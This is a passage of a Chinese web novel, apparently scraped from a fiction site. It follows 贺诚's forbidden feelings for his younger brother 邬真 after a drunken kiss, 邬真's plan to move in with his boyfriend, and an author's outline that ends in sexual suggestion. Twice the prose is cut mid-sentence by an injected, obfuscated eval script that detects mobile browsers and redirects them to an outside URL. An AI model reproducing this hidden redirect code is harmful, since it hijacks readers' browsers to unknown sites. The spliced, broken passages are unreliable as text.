贺诚手心还有邬真呼吸的热汽,脸颊还残存被邬真吻过的触感。他不确定自己的表情有没有异样,过度泵血有没有让他显得脸红心虚。 在方奕白面前,在他假装无意却刻意审视的目光下,贺诚感觉自己在被怀疑。 他下意识想要遮掩,隐约感到可憎的心虚,然而看向方奕白的时候却更加厌烦,“谁跟你是兄弟?” 两个人一路往外走。 后面的朋友面面相觑。 方奕白:“你语气好冲啊哥们儿。看不惯我和你弟弟在一起?” 贺诚:“真真想和谁在一起是他的自由。” 方奕白:“所以你看不惯。” 贺诚:“看看你是什么样子,再看看我的弟弟。你难道觉得你们两个般配?” 邬真忽然叽咕了声,“什么般配?” 两个人同时噤声,甚至连脚步也停顿了下来。 邬真脑子费力地转了一下,“我脑袋好重。” “我知道喝酒之后是什么感觉了。” “脚下像踩着大水球,晃来晃去的让我走不了几步,周围都是红色的太阳围着我打转,又大又红又热!晒得我一直掉眼泪。” 邬真说:“你看到我的眼泪了吗?我觉得现在可能没有多少了。” 他眨巴两下眼睛,挤了挤眼睛,似乎想要再挤出来一点。 贺诚话音轻轻的,“是,我看到了。” 邬真的精神泄得好快,很快变得垂头丧气,眯着眼睛,声音从肺部挤出来,“我好像生病了,我应该去看医生,然后吃药,打点滴……” 他的声音越来越小,眼皮越来越低。 他又睡着了。 “爱情总讲般配的话就太无趣了。”方奕白的声音放得更轻,“你就是嫉妒我现在和真真的距离比你还要亲——” “笑话。”贺诚语无波澜,冷冷看着他,“我永远是真真的哥哥,你是谁?” “我是邬真的男朋友,你是吗?” “随时能被换掉的男朋友?那么我的确不是。” “不懂。我只知道男朋友可以和真真在一起,假以时日结婚成家不是没有可能。” 贺诚额角的青筋猛地抽动一下,“结婚?你想得倒美。” 方奕白越发气血上涌,“我看想得美的人是你吧!” 贺诚 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贺诚低声和他说,“车里有水,马上。” 走路的速度不会快,何况邬真浑身软面条一样。 贺诚不经思考地弯下腰,勾着膝盖弯把邬真抱起来。邬真的身体一晃,红扑扑的脸撞在他的胸口,眉毛似乎轻皱了下,半睁开眼看看他。 贺诚眉眼舒展了下。 “谁在发疯,”方奕白将一切收入眼帘,“你一米九的个子推不开真真,别跟我开玩笑了。” 贺诚:“他会摔倒。” “是不是因为他会摔倒,所以你才不推开不拒绝,你自己心里很清楚。” “所以呢?”贺诚停下。面无表情,语气甚至带着讽刺,只有他自己清楚他的心脏跳得有多快。他想说这是无妄之灾,内心却在轻微摇摆。“所以你要指责我什么,指责我接受一个醉鬼的吻,还是要说我——” “被真真亲是不是很爽?” 方奕白阴沉着表情,嘴角大大扯开。 “有没有想得到更多,阻止他亲到你嘴巴的时候是不是第一时间感到懊悔。你的理智和道德感阻止了你,但你不是也很清楚这可能是唯一一次机会?” 贺诚神色寒峻,继续抱着邬真往外走,人高马大的保镖站在门口快步走来,贺诚抱着邬真躲开保镖的手:“不用帮忙。” 保镖点头退回去,快步跑到车前拉开车门。 方奕白没有再跟上,他的视线锁定在贺诚的背影。酒后不清醒的狐疑一遍遍反复腾烧,越发头晕脑胀。 “你很期待吧。” 他忽然说。 贺诚没有停下来。 “你把真真当亲弟弟,对他好,好得不得了,是,我承认!但你有没有察觉到你的嫉妒心一直都很丑陋。你是真真的哥哥,你太自傲于这个身份了!你觉得你和他是与生俱来的亲近,上天给的缘分,怎么能容忍我有的东西你没有呢?凭什么我能和邬真这么亲密,而你第一次被排除在我们的关系之外,这个人,这个能够拥抱他亲吻他的人凭什么是我不是你,你们两个都这么亲密居然还有事情做不了!你很不痛快对吧,贺诚!” 室外的雨风夹携着冷意,他浑身冷汗被风一吹竟然有些汗毛耸立。 贺诚:“你到底在臆测些什么?你想说什么?” 方奕白的话里全是漏洞。 他肯定了而他对邬真的亲情,却要隐含贺诚因为嫉妒方奕白的存在而渴望得到邬真的吻的意思。 这个疯子。 邬真沉沉睡去,对乱糟糟的局面一无所知。 贺诚把邬真搂紧了一点,让邬真的耳朵贴住他的胸膛,用心跳声遮住这场闹剧。 方奕白的声音很低,阴沉道:“真真如果记得今天发生的一切,包括现在你我之间的争执。明天你要怎么面对他。” “告诉他你和他亲过。” “告诉他,你自愿,你享受!你拒绝不了。是吗?你要和他说清楚吗?” 贺诚没有回答他,脚步很快,把弟弟放进车里,脸颊上轻吻的热度像是变成了一记又一记的耳光。 他吸了口气,关上门,不再理会远处发怒的疯子,闭上眼,沙哑道,“开车。” 车开始平稳行驶。 贺诚关上窗,用了好几秒时间调整自己,随后仔细观察了下邬真的状态。 好,贺诚冷静地保持情绪的镇定,他现在什么都没想。 邬真酒后有些发热,脸很红,气喘得有些微重,但都在正常范围内。 他轻柔地盖上毯子以免邬真着凉,顺手从旁边的车载冰箱拿出一瓶水,拧开给邬真喂了一点。 邬真眼皮跳了下,睁开眼睛。绿瞳显得有些幽深和茫然。 贺诚的手指和邬真的嘴唇靠得很近。柔软和热意挨挤着近在咫尺。 他没有刻意去想去感受。 但是。 但是他忍不住有些微抖。 贺诚面无表情,神色冰冷。心脏紧绷着,不敢多跳一下。 他什么都没想。 他强调。 他一言不发地侧过半边身体把水瓶放回原位,看到放在角落的一只红丝绒镶金边的盒子。 贺诚顿了顿。 把盒子取出来,打开。 是一条手链,贺诚加急定制的。 作为哥哥,弟弟第一次谈恋爱,贺诚早就想好,应该给邬真送一份礼物。 尽管这次恋爱,并不是贺诚想要看到,乐于接受的。 他静静看了一会儿,抬起邬真的手,把手链为他戴上。 手链的款式很百搭,银色,搭配一枚纯度高的矿物石。深邃绿色的光泽很配邬真,不枉费贺诚花这么多时间。 他垂眼握住弟弟的手,却不知道自己在想什么。 车身颠簸,一股热度砸到他的肩膀上。 贺诚肩膀一重,心却一空,手忍不住攥住塑料瓶身发出令人牙酸的嘎吱声。 邬真喃喃喊他:“哥。” 车里空洞洞的,似乎只有呼吸的声音,车在行驶吗?还是停在了原地,贺诚甚至无法判断清楚。 贺诚想,邬真知道他是谁。 一直知道,还是只有现在知道。 他的手用力握紧,按在腿上。 邬真喃喃:“还有多久到家,我好困。” 贺诚轻声说,“半小时。” 邬真的额头抵在他的肩膀,很安静。他喝醉了,整个人都是热烘烘的,贺诚也跟着出汗。 邬真:“让我靠一会儿。” “……” “嗯。” 邬真有没有听到他和方奕白说的话。 邬真会不会察觉到他异于平常的僵硬,奇怪的沙哑,不能直视他的眼睛。 邬真会怎么想他。 邬真…… 邬真。 9.你也焦虑吗 凌晨四点二十三。 室内漆黑一片,只有咔哒的钟摆响动的声音。 贺诚坐在床边,垂下的发丝底下是青黑一片的眼睑。 侧脸那种轻飘飘的柔软触感好像根本洗不掉。 弟弟的吻触凝在他的脸上。有细密的电流在往皮肤血管里面渗透,每一分每一秒都能够感受到它的存在。 呼吸。 热度。 带着一点麦芽酒的味道,暖暖的香气。 徐徐吹在他的脸颊,触碰,印上去,下唇和上唇微微抵住他的嘴角,隐约张开,湿濡的吻带一点点困意地往下蹭。 那是他的弟弟,他一直疼爱的弟弟。 他哪怕闭上眼睛都能感受到他扫过来的头发、绿色温柔的眼睛。 邬真为什么亲他。 邬真知不知道他是谁? 邬真……在想什么。 邬真会不会有一点点的…… 心脏在深夜击鼓作响。 ……喜欢他。 贺诚心脏酸胀,脑子里电光火石间窜出这个可怕的想法。 时钟的声音像铡刀一样。 “咔嚓、咔嚓”。 他意识到可怕的不是他明知不可能还在这么想,而是他对这个想法,感到微妙的罪恶的畸形的窃喜。 他隔了这么久,才敢在夜深人静的时候这么想。 他等了这么久,似乎只为了等自己能问出这句话。 只存在他脑海中的念头,他却怕有人听到,这见不得光的念头,折射出的不是他对邬真的怀疑,而是对自己的审视。 豆大的汗水从额前淌下,贺诚亟需什么转移注意力。 他看向摆放在桌子上的合照,邬真露出灿烂的笑脸。 邬真的成人礼,贺诚为他献花。 他穿着西装站在那里的时候,就一直在等邬真走到他的面前。 他用满怀期待、骄傲以及欣赏的心情等待邬真。哪怕自己成人毕业的时候都没有过这样的喜悦。 他说:“成人礼快乐。” 人声鼎沸,邬真却在和他说悄悄话,“待会我们去吃什么?” 贺诚整理他的衣领,看着他期待的亮闪闪的眼睛,“火锅。” 邬真摇头。 “烤肉?” 邬真使劲摇头。 贺诚:“想吃什么?” 邬真的手指在掐他。黑发绿眼的少年长得活泼灵动,又有锐利清爽的神采。像小猫像小鹿,像一切自然界纯粹的生灵。他的睫毛又长又直,表情很明快,口吻却像威逼利诱。“你不知道?哥哥不知道?” 贺诚太喜欢邬真这一点点亲密的小动作,因为很少见。邬真总是对所有人都很礼貌。 贺诚说:“我知道。” 他握住弟弟的手,“别掐了。” 邬真:“好哇!故意惹我生气,其实想让我掐你,这样哥就可以牵我的手。” “被我看穿了,难道你不觉得羞愧?向我说对不起。” 贺诚:“对不起。” 邬真嘴角上扬:“太坏了。不过我会原谅哥哥的。” 他的头发被一阵大风吹起,向日葵柔软的金黄花瓣往他的脸上扑,年轻的脸孔噙着一点笑,愈发显得神气。 他补充说。 “每一次。” … “咔哒——” 六点整。 闹钟响起,声音突兀得像是铡刀落下。 贺诚抬头,天边已经微微泛白。天亮了,世界从沉默开始被唤醒。 …… 阳光灿烂的一天! 邬真的心情很好。他抬一条腿踩在椅子上,下巴搁在膝盖奋笔疾书。 【酒没有我想象中那么难喝!爸爸小时候给我喂了一筷子。让我讨厌他很久很久很久很久很久! 刺鼻、呛人,像一千万个蚂蚁在我舌头上爬,爬完就往喉咙钻。辣得我大哭的事情我一直记得,但原来也有不那么难喝的酒。虽然我早就原谅爸爸了,但现在还是决定再原谅他一次。我太善良了,就这样。我擅长原谅所有人。虽然很自夸,但我还是觉得我是个很好的人。 醉酒后发热、头晕,整个人天旋地转东倒西歪。好多人和我说话,我也和好多人说话,我长了八只眼睛三个嘴巴,而每只眼睛都在流泪,每张嘴巴都在说话,好吵,非常吵,我的话一定很多。 后面好像还听到了哥的声音,他说我和奕白哥很般配,不敢置信!这居然是从哥口中能听到的话。说明他根本没有表现的那么讨厌奕白哥。 他们之间的矛盾在变少,这是一件好事。今天早上的阳光也很好,我喜欢阳光灿烂的早晨。让我想要跳舞,虽然我并不会跳。我做了个梦,梦到哥在亲我,好吓人。我们之间可不是那种感情!但看到这种太阳之后,我又非常释然了。日光之下能见到的一切,都会很坦荡。】 邬真放下笔。 他写了好几个错别字,涂涂改改的黑疤缝起一张丑丑的便签纸。 邬真不在意,因为不完美也是记录的痕迹。 他的视线看向手腕上的新手链,手腕晃动了下,绿色的光亮会在他的手腕,顺着血管的脉络摇荡。 不用想,邬真也知道,这是哥送给他的礼物。 贺诚有个怪癖,他喜欢在邬真睡觉的时候把礼物送给他,这样等邬真第二天一起床就会看到。 邬真已经过了会因为小惊喜而欢呼雀跃蹦蹦跳跳的年纪。他很沉稳地翘了下嘴角,心情很好地反复拨弄了两下,观察宝石的光泽在手腕的投影。 真漂亮。 有森林的色彩。 邬真欣赏了一会儿,开始按部就班回复手机里的消息。 人很好的阿姨9.21:【真真还好吗?醒了没有?有没有头疼啊?听孩子说你昨晚喝醉,我好担心你,醒来记得回我消息[爱你]】 煎蛋说两句:【我很好!神清气爽!谢谢关心,我也爱阿姨-3-】 …… 游戏打得很好但依然被我带飞哼哼6.6:【你哥昨晚上吓死我了呜呜呜呜宝宝你和你哥怎么完全两模两样,完全难以想象你们两个是兄弟】 煎蛋说两句:【哥其实面冷心善】 游戏打得很好但依然被我带飞哼哼6.6:【真真说的都对,虽然我看不出来】 煎蛋说两句:【你以为他会是什么样子?】 游戏打得很好但依然被我带飞哼哼6.6:【鞍前马后鞠躬尽瘁】 煎蛋说两句:【他是我哥不是我的仆人!】 …… 超级大酒鬼1.20:【你哥昨晚好凶,他回家有没有骂你打你凶你啊?如果有,我将申请解除你们的兄弟关系换个新哥哥,比如我[叼玫瑰]】 煎蛋说两句:【不行。】 超级大酒鬼1.20:【好冷淡,但我还是很喜欢你-3-】 …… 邬真一路看下去,忍俊不禁。 贺诚长得是高了点壮了点冷了点凶了点。除非和邬真走得最近的几个朋友,别人对贺诚多少有点外貌偏见。 就是不知道他到底做了什么? 居然这么多人都说他凶。 邬真大为感慨,慢吞吞一条条把消息回复掉,随后就看到了方奕白的消息—— 【想不想搬出来和我一起住?】 邬真眨眨眼仔细看了看。 方奕白在这句话之前,发的消息也是关心他的宿醉情况。 而这句话是在凌晨五六点钟突然冒出头的。 没有前因后果。 煎蛋说两句:【这么晚还没有睡?】 现役男友3.27:【其实现在也没有】 煎蛋说两句:【!】 现役男友3.27:【我在想真真什么时候会回我消息,要是被我错过不能秒回让你一直等我的话我将抱憾终生了!】 【怎么样,要不要考虑下?你不觉得吗,和你哥住在一起,谈恋爱有很多不方便。】 煎蛋说两句:【奕白哥觉得每天来我家很麻烦吗?是我的问题,我之前应该考虑到这一点。】 邬真有点小小的愧疚,他似乎只考虑到自己不想出门。 嗯,不过就算再问他一遍,他还是会说不想出门。 方奕白回复很快,在邬真慢吞吞打下一句话之前就飞快弹出。 【一点也不,我非常乐意。麻烦的是你哥在。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359810|182781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这段时间方奕白最期待的就是去邬真家的路上。 他连手机都玩不下去,脑子里全是邬真的脸,邬真会用什么样子亮晶晶的眼神看他,露出怎样的笑脸。 贺诚的存在非常碍事。 煎蛋说两句:【啊?】 现役男友3.27:【恋爱不仅仅是牵手拥抱接吻,还有相处和约会,而这些需要时间。我指的是,不会被打扰的时间。】 邬真似乎若有所思,【我明白了!】 看到邬真的回复,方奕白扯开嘴角笑了下,随后蹙眉不由自主地唾弃自己。 邬真非常机敏。然而有些时候却爱钻牛角尖,很是一根筋。 他喜欢打破砂锅问到底,爱走在一条路上直到看到结局。为此他会很倔牛脾气地忽视很多可有可无的问题。 他完全是基于对邬真的了解,小小地利用了他的性格,达成自己肮脏的贪婪的目的。 房间里的窗帘是深绿色的,挡住窗外的阳光。方奕白坐在床上,用手臂遮了下眼睛,盖住眼底的青黑。 他辗转反侧、一夜未眠,神经思维变得很迟钝。 他心惊肉跳,在酒意消失之后一遍遍揣测贺诚对邬真到底是怎样的感情,反复推导,反复推翻。 他想,他不该把情况想得那么糟糕…… 也许是他对贺诚的嫉妒强烈到蒙蔽了他的心智。 但是……这么多年,方奕白会喜欢邬真,贺诚为什么不会。 就因为他们是兄弟吗? 因为是兄弟就不会喜欢邬真了吗? * 并没有太多的思考,邬真痛快地做下决定。 去同居! 邬真会积极配合自己的体验目标。 不过,就算什么都没有达成,当朋友合宿天天玩游戏玩得昏天黑地也非常不错。 这时候,邬真闻到一股煎牛排的香味,带着黄油的香气和肉类油脂的吸引力。 已经十一点多了。邬真有点饿。 他穿着睡衣拉开门,下楼的脚步像是在香味里飘过去的,临近厨房,邬真就听到滋滋滋的声响。 侧对他的身影穿着黑色的衬衫,露出结实的小臂。 邬真:“好饿!” 贺诚手一顿,“很快就好了。”他没有抬头地询问,“有没有不舒服?头疼不疼?有没有反胃,头晕,想干呕?” 邬真摇头,“没有。” 他昨晚本来就喝得很少。 “手链是哥送我的吗?我很喜欢!” 贺诚:“喜欢就好。” 邬真盯着他看了一会儿:“哥哥。” 贺诚的手紧了下,“怎么了?” “你昨晚好像没有休息好。”邬真探头来他面前看,“工作太辛苦了吗?不要熬夜。有遇到什么麻烦吗?需不需要我帮忙?” 贺诚态度沉稳,轻声说:“一点小问题。” “好吧。”邬真不太相信,“身体最重要,我会监督你。” 短暂的寂静。 两个人似乎各有心事。 而彼此也恰好能看出,对方有心事。 贺诚和邬真同时开口。 “昨晚的事情,我不会……” “我打算搬出去一段时间。” “哐当——” 煎铲掉到地上。 贺诚的眼皮一抖。 有极为短暂的一瞬间,那张沉着冷峻的脸孔都轻微扭曲了下。阴影笼在眉骨,他看了邬真一会儿,才低头去捡。 邬真怎么会忽然提出这种要求? 邬真是不是知道。 邬真是不是记得? 邬真是不是猜到了什么,是不是觉得他作为哥哥,实在是奇怪、丑陋……恶心。 邬真倒是不意外贺诚的震惊。 “以后哥哥不能每天看到我了,会想我吗?” 贺诚呼吸急促起来。 不…… “算了,应该不会。哥也有自己的生活。”邬真轻快地说。 “……” 贺诚捡起煎铲,拧开水龙头清洗。 哗啦啦的水声响起。 他垂着眼,心脏涌起抽搐式的酸痛,很轻地笑了声。 10.你也忠诚吗 “搬去哪里?”贺诚问,“和方奕白一起住?” 贺诚无法控制自己去想。 他们会在一起谈论什么,有什么方面的沟通和交流,他们会讲起多少贺诚不知道的秘密,有什么贺诚看不到也做不了的行为。 拥抱、牵手、亲吻,或者更进一步的行为,阴沟里见不得光的暗恋也能假借正当的名义得到发展。 方奕白可以亲吻邬真,抚慰邬真,而邬真也许并不抗拒,他总这样。 贺诚几乎可以想到邬真会怎么用柔和的好奇的姿态容忍别人的靠近,几乎能够看清可憎的朋友对他的弟弟迷恋的炙热的眼神。 光想到这个,贺诚无法呼吸,充满愤怒,嫉妒让他浑身的血液都沸腾起来。 而在那时候,他却被舍弃在远处的角落,连看邬真一眼都做不到。 邬真:“对!” 邬真又说:“是奕白哥邀请我去的,本来我都没有想到这回事。” 贺诚忽然一怔,黝黑的眼珠终于缓慢转动,他看向邬真,重复邬真的话:“方奕白,邀请你?” ——瞬间,他把方奕白的邀请和他昨晚态度激烈的怀疑联系在一起。 随后。 猛地松了口气。 怀疑的人是方奕白,不是邬真。 邬真只是因为方奕白在邀请,因此选择应允。 他并不清楚昨晚贺诚被他一个吻搞得僵硬在原地半天都动不了,他也并没有因此对贺诚充满顾虑。 看清邬真毫无阴霾的眼睛,贺诚忽然一下子觉得云彩白了很多,树叶绿了很多,世界一下子空旷了很多。 和邬真因为讨厌他、厌恶他、觉得和他呆在一起都恶心而选择从这个家里逃离相比。 因为想要和男友同居才离开,明显好接受得多。 他紧绷的侧颌放松了些,安静地听弟弟兴高采烈地讲话。 “奕白哥搬家之后,连我都很少去他家里玩了。”邬真开心地说,“现在他一个人住,也不知道会不会觉得无聊。” 贺诚把煎好的牛排端上桌。 有糊边的一份给自己,煎到正正好的一份也摆在自己面前,随后端来饮料放在邬真的旁边。 然后给邬真切牛排。 邬真坐在他的身边 贺诚切好一块,顺手叉到邬真嘴边,邬真也顺势一口吃掉。 “哥去过奕白哥家里吗?他说有一个游泳馆,一个家庭影院,一个台球厅,一个游戏房。天天睡到天昏地暗,真浪费,是我的话每个地方都玩一遍。我要在每个地方睡一觉。” 邬真本来就和方奕白是很合得来的朋友,对待两个人的相处丝毫不陌生。 “奕白哥还说可以带我去玩赛车!” 邬真开心地说,但话还没有说完,又被投喂了一块牛排。 他嚼嚼嚼,咽下去才讲话。 “不过哥别太担心,我们只会兜风,速度不会很快。要是奕白哥敢开太快吓到我,我第一个就和你告状。你负责把他打得落花流水。” 邬真说完又开始反省自己。 “这么说是不是太凶了。”邬真怅然,“我们是恶霸兄弟吗?” 贺诚却抬起眼,重复,“第一个。” 是啊。 他忽然想,邬真谈恋爱后第一个要告诉的人就是贺诚,当然,真诚的邬真履行了自己的承诺。 邬真如果被欺负,他第一个要告诉的人也是贺诚。 贺诚是这么多的第一个,摆放在邬真心里最信任的第一梯队。 他看向邬真。 邬真黑发绿瞳样貌很有少年感的清晰,睫毛根根分明。正在喋喋不休。 那么为什么…… 有一个想法像是春笋一样开始冒尖,带有可怕的尖锐的力道从厚重泥泞深黑的土壤之中钻出—— 为什么,邬真想要恋爱的时候,心里第一个想到的人不是他。 贺诚可以对他很好。 他愿意为邬真做所有事情。 他们之间本就应该这样亲密,亲密到贺诚恨不得有汩汩的血液来维系,哪怕再亲密一点又有什么奇怪? 亲吻邬真的人,拥抱邬真的人,和邬真在一起的人…… 为什么不可以是贺诚? 贺诚没有半点表露出来。 但下一秒,温热感贴在他的额头。 邬真摸摸他的额头,掌心柔软。贺诚侧颊猛地绷紧,呼吸微抖。 邬真的眼睛靠得很近,味道也是。和昨晚很像,但没有清冽的酒味,邬真没有喝醉,贺诚更没有,他们都很清醒。然而贺诚的视线却不由自主看向邬真的嘴唇,一言不发。 红润的,形状美好的唇形。 邬真叽叽喳喳。 “为什么一直在出汗?” “真担心你是不是生病了。” “但我长这么大,还没有见过哥生病的样子。” 邬真笑眯眯地看着他。 “会不会烧得稀里糊涂只知道叫我的名字呀。”邬真说,“开玩笑的。哥一定要照顾好自己。” 他说的是贺诚小时候拔智齿打麻药,昏昏沉沉一直在喊邬真的名字。 “真真在哪里。” “真真今天放学没有?” “真真会不会来看我?” “我现在肯定很丑,真真会嫌弃我。” 那时候的贺诚也才十几岁,说这样的话会引得别人哈哈大笑。 现在的贺诚,再这么说会被评价为这么大了还是扭曲的恋弟癖。 贺诚道:“现在就开始叮嘱我了。” 他把牛排喂到邬真嘴边。 看邬真张开嘴巴,洁白的牙齿叼住肉块咬住,才说。 “看来你真的很想去。” 邬真吃掉,又一口气畅饮半杯饮料,“你发现啦?因为我是第一次谈恋爱。有点好奇也是在所难免。” 他眨巴眼睛。 “哥不会不同意吧?” 贺诚没有说话。 邬真的手抓着他的手腕。 贺诚看向他的手,手腕翻转反握住。 邬真又重复了一遍,“哥不会不同意吧?” 他的眼睛很亮,像镜子一样反射贺诚的脸。 贺诚心里对方奕白的厌恶已经水深火热。这人何德何能让善良大度热情完美的邬真和他谈恋爱,为他放宽这么多界限。 甚至还是初恋。 当然,他心窝绞痛,都还是说:“我可以接受。” 贺诚又说:“但是,你周末要回家。” 邬真发出欢呼:“那哥要做好大餐等我回来!” “好。”贺诚说。 邬真:“我不会给出菜单的。” 贺诚:“我知道你想吃什么。” “这么有把握啊。”邬真说,“那我要为难你了。” 贺诚没再说话,他握着弟弟的手,指腹摩挲他的手背。柔软,骨骼很清晰,他无意识地攥着弟弟的手抬起,贴在自己的脸上。 邬真歪着脑袋,碧海一样的眼眸看着他。 他抱着贺诚的脸拉近。 世界忽然变得安静。 “昨天晚上,我也做了一个和这种场景类似的梦……” 邬真忽然说。 他看着贺诚,“我和哥就靠得这么近,在一片漆黑的地方。” 贺诚几乎觉得邬真的睫毛要戳到他的眼皮,但实际上没有这么近。 “然后,哥亲了我一下。”邬真说。 世界的所有声音都消失了。 贺诚不敢相信自己听到了什么。坦诚的弟弟连这样的梦境也要和他分享。 邬真的声音很轻,几乎像是一股绵密轻柔的电流从耳朵钻了进去。 他的视线不自觉地落到邬真的嘴唇上。 红润,饱满,唇珠很明显。嘴角总是上翘,说话的时候能看到他柔软的舌尖在齿后若隐若现。 “……” 贺诚想起他在一片昏暗光线中闪动的睫毛,暖热的嘴唇,湿濡的吐息。 他会靠近,他发出小小的喘.息。 “谈恋爱谈得我都晕头转向了。” 邬真抱怨。 他的好奇心总是那么那么的蠢蠢欲动,让邬真偶尔觉得有些烦恼。 “我甚至有在想,哥哥亲我和奕白哥亲我会不会有什么不一样……” 邬真放开他,但贺诚似乎被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370133|182781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 固定在了原地。 “老实说,以我对哥的了解,就算我真的提出这样无理的要求,哥也会忍耐着自己的不舒服和压抑,违反道德和伦理接受。因为哥就是这么对我的,一点底线也没有。” 邬真早就发现了。 这样是错的,不正当的,一点儿也不值得赞美的。 当然,邬真试图矫正。他会说:“不可以,不对,不要这样。” 但贺诚在这方面又相当我行我素。 贺诚:“……” 他的眼皮轻抖了下,呼吸急促了些。 邬真:“不过,我知道……”不该这样。 但话音未落。 贺诚的声音有些沙哑地响起,“你说得对。” 邬真看向他。 “只要是真真提的要求,”贺诚黝黑的眼眸定定看着他,“我都不会拒绝。” 哪怕邬真说他要和男朋友同居,贺诚也会同意。虽然他并不想。 只要是邬真想要的,贺诚当然会为他做到。 只是一个小小的同居,并不是要永远地离开家,离开这里,离开哥哥。 虽然贺诚对此感到深恶痛绝,但并不是不能接受。 他会在家里等着,等邬真回来。 ——以这样的心态注视和纵容邬真的贺诚,当然是邬真的哥哥。 但偏偏不是一个纯粹的哥哥。 “实验需要对照组,真真,这不是什么稀奇的事情。”贺诚说, “好奇男友的吻和别人的有什么区别,也并不奇怪。” 邬真的眼睛都睁大了,下意识想要从贺诚的手心里把手抽出来,“哥,你在说什么。我们——” 贺诚却拉紧了他。 “正因为我们是兄弟,所以无论你对我做什么事,都可以。” 贺诚的眼神出奇的平静。 眉弓投下的阴影让他漆黑的眼眸格外深邃。 “难道我会背叛你,难道我会希望不幸降临于你?这只会是一个永远的秘密。” 这对吗? 这不对。 实际上,贺诚在察觉到自己对邬真的感情并不那么简单之后,才意识到这种想法非常不当。 但以哥哥的心态脱口而出的时候,他其实觉得理所应当。 作为哥哥,为弟弟的好奇心服务,简直是最正常不过的事情。 这种忠诚才是禁忌滋养的温床。 邬真恍惚了下。 他的兴趣非常广泛,加上好奇心过于发达旺盛,浏览网站的时候,的确看到过一些奇奇怪怪的东西。 比如…… 结婚之前为了让小辈知道别人滋味而亲身上阵的哥哥。 当然,那不对,不正常,不应该发生。 但邬真还是看到了,他也记住了。 贺诚说的这些,在他的脑海中,和那个荒诞的故事组合起来。 阳光灿烂,从窗户直射到他们的后背。邬真只要一错开眼睛,就会看到不远处的橱柜上摆放的全家福。 这不应该,这不可以,他和贺诚不是可以接吻的关系。 但是。 贺诚说可以。 邬真也有点好奇。 邬真靠近,他想知道贺诚会不会闪避。 但没有。 他们的侧脸暴露在阳光之下。发丝交错的一瞬间,邬真几乎觉得他们的头发要融化在一起。 贺诚近在咫尺地看邬真的眼睛,他垂下的蒙着光而显得灰扑扑的睫毛。 “我有男朋友了。” 邬真摇头。 “哥……不可以。” 邬真的睫毛撩起。 在阳光下虹膜都无比清晰的绿眼睛显得比往常更浅。这双颜色浅浅的绿眼睛轻轻地看他一眼,惯来诚实的秉性照旧让邬真说了实话。 “不过。” 邬真的声音很轻。 “基于这种犯错性,如果真的和哥哥接吻,或许体验的确会和奕白哥有不同。” 邬真很坦荡地把“接吻”两个字说出来。 和“哥哥”搭配在一起。 然后用他和他的男朋友做对比。 贺诚简直受不了他这轻松的一句话。 11.大纲(也许算吧 很抱歉要以这种方式和真真说再见。 以下是一些大纲,其实后面还有一部分存稿,但是剧情进展不足以我更到结局,思考过后觉得还是发大纲出来比较好,直接给大家看到结局,以仓促但完整的方式和真真告别。 真真一共三个男友、方只是开端,很快就会结束,攻2的戏份会比较重。 方和哥弟两人认识太久了,他会忽视掉的东西太多,从攻2开始才是完整的旁观者视角目睹哥弟两人异于其他兄弟的亲密。 攻1的作用是和哥的相似性,真真的确把他当哥,然后转变成恋爱关系,以真真逐渐乏味的态度作为刺痛哥的一种手段,是哥逐步扭曲的一个步骤。 攻2我在前面有铺垫。 其实就是下雨天被狗拽得乱跑的那个男的,我猜大家都没看出这会是攻2hhh 我的大纲写得很乱,尽力挑出主线和重要剧情,修改到能让大家看懂的程度。 1.和攻1的交往 就是做狗的过程啦。 真真相当喜欢sweettalk,总在非常热情地夸奖,搞得攻1非常上头。这种甜蜜感的优点就是让人觉得自己被爱着被尊重,但缺点就是会让人变成巴普洛夫的狗,无形之中把人驯化掉。 后面攻1只要被那双绿色的漂亮眼睛注视着,心脏就会开始狂跳,口腔就会分泌口水,未经自己的许可,大脑已经在期待一个会发生的吻。 而且这种sweettalk太过日常。 让攻1哪怕在外面和真真相处,只要被真真夸两句也会条件反射地触发机制开始流口水盒盒盒盒。 感情很好对吧,我本来准备着重刻画一下俩人甜蜜蜜的训狗恋爱过程。 而哥送的手链是一个引线。 总在一切不经意的时刻带来冷冰冰的触碰,彰显存在感,就好像哥的视监无处不在。 攻1被膈应得很烦,接吻的时候会被手链碰到,亲亲舔舔的时候也会,他不想让邬真知道,实际上非常在意。总疑心哥是不是在里面安装了监视器一类的东西,他觉得哥完全做得出来。 时间久了,在这种不间断的怀疑中,攻1疑心疑鬼,让邬真难以接受。 他不能理解攻1为什么在怀疑他和哥,他们就只是普通兄弟而已,攻1和他们这么多年朋友难道还不清楚吗? 与此同时哥也并不好过。 哥和真真每晚通话,每晚都会亲眼目的弟和男友的感情升温,让哥非常痛苦,非常煎熬,非常想让方奕白从这个世界消失。 其中一次,真真以为挂断电话实则没有。 后面听到的动静让哥心防彻底坍塌。 以为自己已经在逐步接受一切的哥再次发疯,但强撑着没有挂电话。 他听完全程,心脏乱跳。 他想着弟的夸奖。 那些甜蜜的、温情的话语,从没有对他说过。 极致的愤怒、酸涩、嫉妒、痛苦之中,哥做了一个和弟有关的梦。 漂亮的单纯的热情的弟抱着他的脸,亲吻他夸赞他,说他是最好的哥哥,他永远爱他。 一边这样甜甜蜜蜜笑吟吟地夸赞,一边跨在他的腰上…温度,热汽…还有独属于邬真的气味,真实到让人恍惚。 哥直勾勾看着,爽得神魂离体了要。 